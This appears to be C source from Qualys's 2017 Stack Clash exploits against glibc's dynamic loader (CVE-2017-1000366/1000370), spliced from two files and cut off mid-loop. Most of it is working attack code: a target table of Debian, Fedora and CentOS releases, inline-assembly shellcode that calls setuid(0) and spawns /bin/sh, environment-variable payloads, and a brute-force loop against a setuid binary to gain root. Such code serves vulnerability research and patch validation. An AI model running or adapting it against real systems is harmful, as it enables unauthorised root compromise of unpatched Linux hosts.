#define LDA "LD_AUDIT="
#define LDP "LD_PRELOAD="
*ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA;
if (target->jump_ldso_pie) {
size_t i;
for (i = 0; i < pads; i++) {
*ep++ = pad;
}
}
*ep++ = NULL;
if (ep != envp + envs) die();
}
{
const size_t MIN_GAP = target->CVE_2015_1593 ?
(128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) :
(128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ;
printf("MIN_GAP %zu\n", MIN_GAP);
if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
}
int pipefd[2];
if (pipe(pipefd)) die();
if (close(pipefd[0])) die();
pipefd[0] = -1;
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
{
const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP);
const char * const abs_las[] = {
my_asprintf("%s%s%s", abs_la_dir, "", REL_LA),
my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA),
my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA),
my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA),
};
size_t i;
for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (fd <= -1) die();
{
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_uid != getuid()) die();
if (st.st_uid != geteuid()) die();
}
{
static const
#include "la.so.h"
if (sizeof(la_so) != la_so_len) die();
if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
}
if (fchmod(fd, 04755)) die();
if (close(fd)) die();
}
if (target->disable_audit) create_needed_libs(binary, abs_la_dir);
}
size_t try;
for (try = 1; try; try++) {
if (fflush(stdout)) die();
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
if (dup2(pipefd[1], 1) != 1) die();
if (dup2(pipefd[1], 2) != 2) die();
execve(*argv, argv, envp);
die();
}
int status = 0;
struct timeval start, stop, diff;
if (gettimeofday(&start, NULL)) die();
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (gettimeofday(&stop, NULL)) die();
timersub(&stop, &start, &diff);
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
if (WIFSIGNALED(status)) {
printf("signal %d\n", WTERMSIG(status));
switch (WTERMSIG(status)) {
case SIGPIPE:
case SIGSEGV:
case SIGBUS:
break;
default:
die();
}
} else if (WIFEXITED(status)) {
printf("exited %d\n", WEXITSTATUS(status));
die();
} else if (WIFSTOPPED(status)) {
printf("stopped %d\n", WSTOPSIG(status));
die();
} else {
printf("unknown %d\n", status);
die();
}
}
die();
}
/*
* Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370
* Copyright (C) 2017 Qualys, Inc.
*
* my_important_hwcaps() adapted from elf/dl-hwcaps.c,
* part of the GNU C Library:
* Copyright (C) 2012-2017 Free Software Foundation, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
__asm__ __volatile__ (
"addl $64, %esp;"
// setuid(0);
"movl $23, %eax;"
"movl $0, %ebx;"
"int $0x80;"
// setgid(0);
"movl $46, %eax;"
"movl $0, %ebx;"
"int $0x80;"
// dup2(0, 1);
"movl $63, %eax;"
"movl $0, %ebx;"
"movl $1, %ecx;"
"int $0x80;"
// dup2(0, 2);
"movl $63, %eax;"
"movl $0, %ebx;"
"movl $2, %ecx;"
"int $0x80;"
// execve("/bin/sh");
"movl $11, %eax;"
"pushl $0x0068732f;"
"pushl $0x6e69622f;"
"movl %esp, %ebx;"
"movl $0, %edx;"
"pushl %edx;"
"pushl %ebx;"
"movl %esp, %ecx;"
"int $0x80;"
// exit(0);
"movl $1, %eax;"
"movl $0, %ebx;"
"int $0x80;"
);
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/
#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)
#define MMAP_BASE ((uintptr_t)0x40000000)
#define MMAP_RAND ((size_t)1<<20)
#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
static const struct target * target;
static const struct target {
const char * name;
size_t memalign_up;
size_t nsystem_dirs_len;
size_t sizeof_system_dirs;
const char * repl_lib;
int ignore_lib;
int ignore_origin;
} targets[] = {
{
.name = "Debian 7 (wheezy)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Debian 8 (jessie)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Debian 9 (stretch)",
.memalign_up = 2 * PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Debian 10 (buster)",
.memalign_up = 2 * PAGESZ,
.nsystem_dirs_len = 4,
.sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
.repl_lib = "lib/i386-linux-gnu",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Fedora 23 (Server Edition)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Fedora 24 (Server Edition)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "Fedora 25 (Server Edition)",
.memalign_up = 2 * PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "CentOS 5.3 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 1,
.ignore_origin = 0,
},
{
.name = "CentOS 5.11 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 1,
},
{
.name = "CentOS 6.0 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
{
.name = "CentOS 6.8 (Final)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 1,
},
{
.name = "CentOS 7.2.1511 (AltArch)",
.memalign_up = PAGESZ,
.nsystem_dirs_len = 2,
.sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
.repl_lib = "lib",
.ignore_lib = 0,
.ignore_origin = 0,
},
};
#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static const ElfW(auxv_t) * my_auxv;
static unsigned long int
my_getauxval (const unsigned long int type)
{
const ElfW(auxv_t) * p;
if (!my_auxv) die();
for (p = my_auxv; p->a_type != AT_NULL; p++)
if (p->a_type == type)
return p->a_un.a_val;
die();
}
static size_t
get_elf_mmaps(const char * const binary)
{
if (!binary) die();
if (*binary != '/') die();
struct stat st;
if (stat(binary, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_size <= 0) die();
#define SAFESZ ((size_t)64<<20)
if (st.st_size >= (ssize_t)SAFESZ) die();
const size_t size = st.st_size;
printf("%s %zu mmaps ", binary, size);
const int fd = open(binary, O_RDONLY);
if (fd <= -1) {
const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1);
printf("%zu (unreadable)\n", mmaps);
return mmaps;
}
uint8_t * const buf = malloc(size);
if (!buf) die();
if (read(fd, buf, size) != (ssize_t)size) die();
if (close(fd)) die();
if (size <= sizeof(ElfW(Ehdr))) die();
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
if (ehdr->e_machine != EM_386) die();
if (ehdr->e_version != EV_CURRENT) die();
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();
if (ehdr->e_type != ET_DYN) {
if (ehdr->e_type != ET_EXEC) die();
const size_t mmaps = 0;
printf("%zu (executable)\n", mmaps);
free(buf);
return mmaps;
}
uintptr_t first_map_start = UINTPTR_MAX;
uintptr_t last_map_end = 0;
unsigned int i;
for (i = 0; i < ehdr->e_phnum; i++) {
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
if (phdr->p_type != PT_LOAD) continue;
if (phdr->p_offset >= size) die();
if (phdr->p_filesz > size - phdr->p_offset) die();
if (phdr->p_filesz > phdr->p_memsz) die();
if (phdr->p_vaddr >= STACK_BASE) die();
if (phdr->p_memsz <= 0) die();
if (phdr->p_memsz >= SAFESZ) die();
#undef SAFESZ
if (phdr->p_align != PAGESZ) die();
const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1);
if (map_start >= UINTPTR_MAX) die();
if (map_start < last_map_end) die();
const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (map_end <= map_start) die();
if (map_end <= 0) die();
if (first_map_start >= UINTPTR_MAX) {
first_map_start = map_start;
}
last_map_end = map_end;
switch (phdr->p_flags) {
case PF_R | PF_X:
break;
case PF_R | PF_W:
if (map_start <= first_map_start) die();
break;
default:
die();
}
}
if (first_map_start >= UINTPTR_MAX) die();
if (last_map_end <= 0) die();
if (last_map_end <= first_map_start) die();
const size_t mmaps = last_map_end - first_map_start;
printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : "");
free(buf);
return mmaps;
}
static const char my_x86_cap_flags[32][8] = {
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce",
"cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov",
"pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx",
"fxsr", "sse", "sse2", "ss", "ht", "tm", "ia64", "pbe"
};
static const char my_x86_platforms[4][5] = {
"i386", "i486", "i586", "i686"
};
static inline const char *
my_hwcap_string (const unsigned int idx)
{
if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die();
return my_x86_cap_flags[idx];
}
struct my_important_hwcaps {
unsigned long hwcap_mask;
size_t max_capstrlen;
size_t pointers;
size_t strings;
size_t search_dirs;
size_t search_dirs_0;
};
struct my_link_map {
const ElfW(Phdr) * l_phdr;
ElfW(Half) l_phnum;
ElfW(Addr) l_addr;
};
/* We want to cache information about the searches for shared objects. */
enum r_dir_status { unknown, nonexisting, existing };
struct r_search_path_elem
{
/* This link is only used in the `all_dirs' member of `r_search_path'. */
struct r_search_path_elem *next;
/* Strings saying where the definition came from. */
const char *what;
const char *where;
/* Basename for this search path element. The string must end with
a slash character. */
const char *dirname;
size_t dirnamelen;
enum r_dir_status status[0];
};
struct r_strlenpair
{
const char *str;
size_t len;
};
/* Return an array of useful/necessary hardware capability names. */
static struct my_important_hwcaps
my_important_hwcaps (const char * const platform, const size_t platform_len,
const uint64_t hwcap, const uint64_t hwcap_mask,
const struct my_link_map * sysinfo_map)
{
static const struct my_important_hwcaps err;
/* Determine how many important bits are set. */
uint64_t masked = hwcap & hwcap_mask;
size_t cnt = platform != NULL;
size_t n, m;
size_t total;
struct r_strlenpair *result;
/* Count the number of bits set in the masked value. */
for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
if ((masked & (1ULL << n)) != 0)
++cnt;
/* The system-supplied DSO can contain a note of type 2, vendor "GNU".
This gives us a list of names to treat as fake hwcap bits. */
const char *dsocaps = NULL;
size_t dsocapslen = 0;
if (sysinfo_map != NULL)
{
const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
const ElfW(Word) phnum = sysinfo_map->l_phnum;
uint_fast16_t i;
for (i = 0; i < phnum; ++i)
if (phdr[i].p_type == PT_NOTE)
{
const ElfW(Addr) start = (phdr[i].p_vaddr
+ sysinfo_map->l_addr);
/* The standard ELF note layout is exactly as the anonymous struct.
The next element is a variable length vendor name of length
VENDORLEN (with a real length rounded to ElfW(Word)), followed
by the data of length DATALEN (with a real length rounded to
ElfW(Word)). */
const struct
{
ElfW(Word) vendorlen;
ElfW(Word) datalen;
ElfW(Word) type;
} *note = (const void *) start;
while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
{
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
/* The layout of the type 2, vendor "GNU" note is as follows:
.long <Number of capabilities enabled by this note>
.long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
.byte <The bit number for the next capability>
.asciz <The name of the capability>. */
if (note->type == NT_GNU_HWCAP
&& note->vendorlen == sizeof "GNU"
&& !memcmp ((note + 1), "GNU", sizeof "GNU")
&& note->datalen > 2 * sizeof (ElfW(Word)) + 2)
{
const ElfW(Word) *p = ((const void *) (note + 1)
+ ROUND (sizeof "GNU"));
cnt += *p++;
++p; /* Skip mask word. */
dsocaps = (const char *) p; /* Pseudo-string "<b>name" */
dsocapslen = note->datalen - sizeof *p * 2;
break;
}
note = ((const void *) (note + 1)
+ ROUND (note->vendorlen) + ROUND (note->datalen));
#undef ROUND
}
if (dsocaps != NULL)
break;
}
}
/* For TLS enabled builds always add 'tls'. */
++cnt;
/* Create temporary data structure to generate result table. */
if (cnt < 2) return err;
if (cnt >= 32) return err;
struct r_strlenpair temp[cnt];
m = 0;
if (dsocaps != NULL)
{
/* dsocaps points to the .asciz string, and -1 points to the mask
.long just before the string. */
const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
size_t len;
const char *p;
for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
{
uint_fast8_t bit = *p++;
len = strlen (p);
/* Skip entries that are not enabled in the mask word. */
if (mask & ((ElfW(Word)) 1 << bit))
{
temp[m].str = p;
temp[m].len = len;
++m;
}
else
--cnt;
}
}
for (n = 0; masked != 0; ++n)
if ((masked & (1ULL << n)) != 0)
{
temp[m].str = my_hwcap_string (n);
temp[m].len = strlen (temp[m].str);
masked ^= 1ULL << n;
++m;
}
if (platform != NULL)
{
temp[m].str = platform;
temp[m].len = platform_len;
++m;
}
temp[m].str = "tls";
temp[m].len = 3;
++m;
assert (m == cnt);
/* Determine the total size of all strings together. */
if (cnt == 1)
total = temp[0].len + 1;
else
{
total = temp[0].len + temp[cnt - 1].len + 2;
if (cnt > 2)
{
total <<= 1;
for (n = 1; n + 1 < cnt; ++n)
total += temp[n].len + 1;
if (cnt > 3
&& (cnt >= sizeof (size_t) * 8
|| total + (sizeof (*result) << 3)
>= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
return err;
total <<= cnt - 3;
}
}
/* The result structure: we use a very compressed way to store the
various combinations of capability names. */
const size_t _sz = 1 << cnt;
/* Now we are ready to install the string pointers and length. */
size_t max_capstrlen = 0;
n = cnt;
do
{
const size_t mask = 1 << --n;
for (m = 1 << cnt; m > 0; ) {
if ((--m & mask) != 0)
max_capstrlen += temp[n].len + 1;
break;
}
}
while (n != 0);
const size_t round_size =
(2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status))
/ sizeof (struct r_search_path_elem);
if (hwcap_mask > ULONG_MAX) die();
const struct my_important_hwcaps ret = {
.hwcap_mask = hwcap_mask,
.max_capstrlen = max_capstrlen,
.pointers = _sz * sizeof (*result),
.strings = total,
.search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *),
.search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem)
};
return ret;
}
static size_t
my_bsearch(const void * const key,
const void * const base, const size_t nmemb, const size_t size,
int (* const compar)(const void *, const void *))
{
if (!key) die();
if (!size) die();
if (!compar) die();
if (nmemb >= SSIZE_MAX / size) die();
if (!base != !nmemb) die();
if (!base || !nmemb) return 0;
size_t low = 0;
size_t high = nmemb - 1;
while (low <= high) {
const size_t mid = low + (high - low) / 2;
if (mid >= nmemb) die();
const int cond = compar(key, base + mid * size);
switch (cond) {
case 0:
return mid;
case -1:
if (mid <= 0) {
if (mid != 0) die();
if (low != 0) die();
return low;
}
high = mid - 1;
break;
case +1:
low = mid + 1;
break;
default:
die();
}
}
if (low > nmemb) die();
return low;
}
static int
cmp_important_hwcaps(const void * const _a, const void * const _b)
{
const struct my_important_hwcaps * const a = _a;
const struct my_important_hwcaps * const b = _b;
if (a->strings < b->strings) return -1;
if (a->strings > b->strings) return +1;
if (a->pointers < b->pointers) return -1;
if (a->pointers > b->pointers) return +1;
if (a->search_dirs_0 < b->search_dirs_0) return -1;
if (a->search_dirs_0 > b->search_dirs_0) return +1;
if (a->max_capstrlen < b->max_capstrlen) return -1;
if (a->max_capstrlen > b->max_capstrlen) return +1;
return 0;
}
struct audit_list
{
const char *name;
struct audit_list *next;
};
int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
{
const char * const * p = my_envp;
while (*p++) ;
my_auxv = (const void *)p;
}
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
{
struct timeval tv;
if (gettimeofday(&tv, NULL)) die();
srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec);
}
if (my_argc != 1+2) {
printf("Usage: %s target binary\n", my_argv[0]);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
printf("Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(my_argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
printf("Target %zu %s\n", i, target->name);
}
printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n",
target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs,
target->repl_lib, target->ignore_lib, target->ignore_origin);
if (target->memalign_up % PAGESZ) die();
if (target->ignore_lib < 0 || target->ignore_origin < 0) die();
if (target->ignore_lib > 1 || target->ignore_origin > 1) die();
const char * const binary = realpath(my_argv[2], NULL);
if (!binary) die();
if (*binary != '/') die();
if (access(binary, X_OK)) die();
const char * const slash = strrchr(binary, '/');
if (!slash) die();
if (slash <= binary) die();
const char * const origin = strndup(binary, slash - binary);
if (!origin) die();
printf("origin %s (%zu)\n", origin, strlen(origin));
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
if (!platform) die();
const size_t platform_len = strlen(platform);
if (platform_len != 4) die();
{
size_t i;
for (i = 0; ; i++) {
if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
if (strcmp(platform, my_x86_platforms[i]) == 0) break;
}
}
const struct {
const char * str;
size_t len;
size_t repl_len;
} DSTs[] = {
#define DST_LIB "LIB"
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
#define DST_PLATFORM "PLATFORM"
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
};
size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
{
size_t i;
for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
if (repl_max < DSTs[i].repl_len)
repl_max = DSTs[i].repl_len;
}
}
printf("repl_max %zu\n", repl_max);
if (repl_max < 4) die();
const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
if (!sysinfo_dso) die();
struct my_link_map sysinfo_map = {
.l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
.l_phnum = sysinfo_dso->e_phnum,
.l_addr = ULONG_MAX
};
{
uint_fast16_t i;
for (i = 0; i < sysinfo_map.l_phnum; ++i) {
const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
if (ph->p_type == PT_LOAD) {
if (sysinfo_map.l_addr == ULONG_MAX)
sysinfo_map.l_addr = ph->p_vaddr;
}
}
}
if (sysinfo_map.l_addr == ULONG_MAX) die();
sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;
const unsigned long hwcap = my_getauxval(AT_HWCAP);
if (!hwcap) die();
struct my_important_hwcaps * important_hwcaps = NULL;
size_t num_important_hwcaps = 0;
{
size_t max_important_hwcaps = 0;
uint32_t hwcap_mask = 1;
do {
if (hwcap_mask & ~hwcap) continue;
const uint64_t popcount = __builtin_popcount(hwcap_mask);
if (popcount < 1) die();
if (popcount > 32) die();
if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ
>= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue;
const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
if (!ihc.pointers) die();
const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
if (idx > num_important_hwcaps) die();
if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
if (num_important_hwcaps >= max_important_hwcaps) {
if (num_important_hwcaps != max_important_hwcaps) die();
if (max_important_hwcaps >= 65536) die();
max_important_hwcaps += 256;
if (num_important_hwcaps >= max_important_hwcaps) die();
important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
if (!important_hwcaps) die();
}
memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
important_hwcaps[idx] = ihc;
num_important_hwcaps++;
}
} while (++hwcap_mask);
}
printf("num_important_hwcaps %zu\n", num_important_hwcaps);
static struct {
double probability;
struct my_important_hwcaps ihc;
size_t gwr, dst, cnt;
} best;
#define LIB "/lib"
#define SEP_LIB ":" LIB
#define LLP "LD_LIBRARY_PATH="
static char llp[MAX_ARG_STRLEN];
#define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1))
size_t gwr;
for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) {
size_t dst;
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1);
const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;
const struct my_important_hwcaps key = { .strings = gwr + bwr };
if (key.pointers) die();
size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
for (; idx < num_important_hwcaps; idx++) {
const struct my_important_hwcaps ihc = important_hwcaps[idx];
if (ihc.strings < gwr + bwr) die();
if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
if (ihc.search_dirs_0 >= STACK_RAND) continue;
const size_t min = MIN(gwr, ihc.pointers);
if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue;
const double probability =
(double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) /
(double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0)));
if (best.probability < probability) {
best.probability = probability;
best.ihc = ihc;
best.gwr = gwr;
best.dst = dst;
best.cnt = cnt;
printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n",
ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len,
(size_t)(1 / probability), probability, ihc.hwcap_mask);
}
}
}
}
if (!best.probability) die();
if (STACK_BASE <= MMAP_BASE) die();
const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2
- (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs);
const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2);
printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size);
#define REL_LA "a"
#define LDA "LD_AUDIT="
static char lda[MAX_ARG_STRLEN];
#define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA))
if (sizeof(struct audit_list) % MALLOC_ALIGN) die();
const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS;
if (ldas >= MAX_ARG_STRINGS / 3) die();
#define INITIAL_STACK_EXPANSION (131072UL)
const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas;
if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die();
if (pads >= MAX_ARG_STRINGS / 3) die();
static char pad[MAX_ARG_STRLEN];
{
const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads;
if (padl >= sizeof(pad)) die();
if (padl <= 0) die();
memset(pad, ' ', padl-1);
printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl);
}
{
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
memset(cp, '/', MAX_GWR);
memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1);
if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die();
#define LIB_TO_TMP "/../tmp/"
if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();
if (!best.gwr) die();
if (best.gwr >= MAX_GWR) die();
if (best.gwr % MALLOC_ALIGN) die();
size_t i;
for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
}
if (!best.cnt) die();
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
for (i = 0; i < best.cnt; i++) {
*cp++ = '$';
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
*cp++ = '/';
}
if (cp >= llp + sizeof(llp)) die();
if (llp[sizeof(llp)-1]) die();
}
#define LHCM "LD_HWCAP_MASK="
static char lhcm[64];
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
>= sizeof(lhcm)) die();
{
char * cp = mempcpy(lda, LDA, sizeof(LDA)-1);
size_t i;
for (i = 0; i < MAX_RLDAS; i++) {
